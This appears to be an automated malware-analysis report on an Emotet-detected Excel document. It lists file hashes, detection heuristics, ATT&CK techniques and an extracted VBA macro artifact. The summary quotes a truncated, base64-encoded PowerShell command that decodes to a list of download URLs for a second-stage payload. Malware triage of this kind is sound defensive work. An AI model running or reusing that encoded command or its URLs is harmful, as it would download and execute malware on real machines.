Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 6e359b7de0846370…

MALICIOUS

Office (OLE) / .XLSX

121.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 21054b416152266c04c1bbc0d03ab592 SHA-1: 18e12a4c7e1e37f175cdc22ded38622004b09263 SHA-256: 6e359b7de08463703908a23de6dd30956a08c510038903663aa09a9d8552988f
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a Workbook_Open VBA macro that uses CreateObject to instantiate Wscript.Shell and RDS.DataSpace, indicating malicious intent. The macro is designed to download and execute a second-stage payload from a list of URLs, as evidenced by the reconstructed command line: 'hell -e -nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwAHMAOgAvAC8AeQBvAHUAbABhAG4AZABhAC4AbwByAGcALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AbgA4AEQAUABaAEkAUwBmAC8ALABoAHQAdABwADoALwAvAHIAbwBzAGUAdgBpAGQAZQBvAC4AbgBlAHQALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8ARQBqAGQAQwBvAE0AbABZADgARwB5AC8ALABoAHQAdABwADoALwAvAHYAYgBhAGkAbgB0AC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8ASAAyAHAAUABHAHQAZQA4AFgAegBFAE4AQwAvACwAaAB0AHQAcABzADoALwAvAGYAcgBhAG0AZQBtAGEAawBlAHIAcwAuAHUAcwAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBVADUAVwAyAEkARwBFADkAbQA4AGkAOQBoADkAcgAvACwAaAB0AHQAcAA6AC8ALwBuAGkAcABsAGEAdwAuAGMAbwBtAC8AYQBzAG8AbABpAGQAZgBvAHUAbgBkAGEAdABpAG8Ab'. The ClamAV detection name 'Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0' strongly suggests the Emotet family. The VBA macro is the primary execution vector, leading to the download of further malicious content.

Heuristics 6

  • ClamAV: Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
faf50200d5a9adeeda00cc1da1bbf8f6abf0317a1e97a58db8ae804ba12ba446		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 13985 bytes

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